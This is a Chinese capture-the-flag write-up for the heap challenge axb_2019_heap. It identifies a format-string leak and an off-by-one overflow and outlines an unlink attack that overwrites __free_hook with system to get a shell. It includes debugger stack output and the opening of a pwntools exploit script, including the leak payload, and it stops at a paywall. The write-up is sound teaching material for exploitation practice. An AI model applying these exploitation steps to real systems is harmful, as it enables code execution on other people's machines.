关于axb_2019_heap的详解
程序流程
-
banner:存在格式化字符串漏洞,可以泄漏栈上的信息
-
add:根据idx创建size(大于0x80)大小的内容为content的块
块指针和块大小存放在一个全局变量note中
-
delete:释放的很干净,没有uaf
-
edit:存在off by one
get_input(*((_QWORD *)¬e + 2 * v1), *((_DWORD *)¬e + 4 * v1 + 2));if ( a2 + 1 <= (unsigned int)v3 )v3是以及输入的长度,a2是给定的长度,存在一个字节的溢出
调试
这个程序没有保留调试信息,不能调试,只能一步步看,,,
Reading symbols from axb_2019_heap...(no debugging symbols found)...done.
漏洞利用
-
利用格式化字符串泄露栈上信息
-
__libc_start_main+240=> libc基地址 -
(main) ◂— push rbp => 程序基地址
-
-
由于存在全局变量note,故可以利用unlink控制chunk指针
-
修改__free_hook为system,get shell
详细过程
1.格式化字符串
计算偏移:直接算或者用工具 => 得到偏移为7

执行到
printf(&format);
► 0x555555554b4e <banner+105> call printf@plt <printf@plt>
format: 0x7fffffffde4c ◂— 'aaaaaaaa'
vararg: 0x7fffffffb7b0 ◂— 'Hello, our name:'
pwndbg> stack 30
00:0000│ rsp 0x7fffffffde40 ◂— 0x0
01:0008│ rdi-4 0x7fffffffde48 ◂— 0x61616161ffffde60
02:0010│ 0x7fffffffde50 ◂— 0x550061616161 /* 'aaaa' */ #输入的数据
03:0018│ 0x7fffffffde58 ◂— 0xd23db0a55446d00
04:0020│ rbp 0x7fffffffde60 —▸ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffde68 —▸ 0x555555555186 (main+28) ◂— mov eax, 0
06:0030│ 0x7fffffffde70 —▸ 0x7fffffffdf60 ◂— 0x1
07:0038│ 0x7fffffffde78 ◂— 0x0
08:0040│ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push r15
09:0048│ 0x7fffffffde88 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax #可以泄露libc_base
0a:0050│ 0x7fffffffde90 ◂— 0x1
0b:0058│ 0x7fffffffde98 —▸ 0x7fffffffdf68 —▸ 0x7fffffffe2d3 ◂— '/home/winter/buu/axb_2019_heap'
0c:0060│ 0x7fffffffdea0 ◂— 0x1f7ffcca0
0d:0068│ 0x7fffffffdea8 —▸ 0x55555555516a (main) ◂— push rbp #main起始地址,可以泄露程序基地址
所以__libc_start_main+240的偏移为15,main的偏移为19。
通过计算即可得到libc_base和程序基地址(开启了pie,每次都不一样)
p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)
main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))
libc_base = main_240 - libc.sym['__libc_start_main']
axb_2019_heap漏洞剖析

本文深入分析axb_2019_heap程序的格式化字符串漏洞、off-by-one漏洞及unlink漏洞,详述如何利用这些漏洞获取shell权限的过程。
最低0.47元/天 解锁文章
1732

被折叠的 条评论
为什么被折叠?



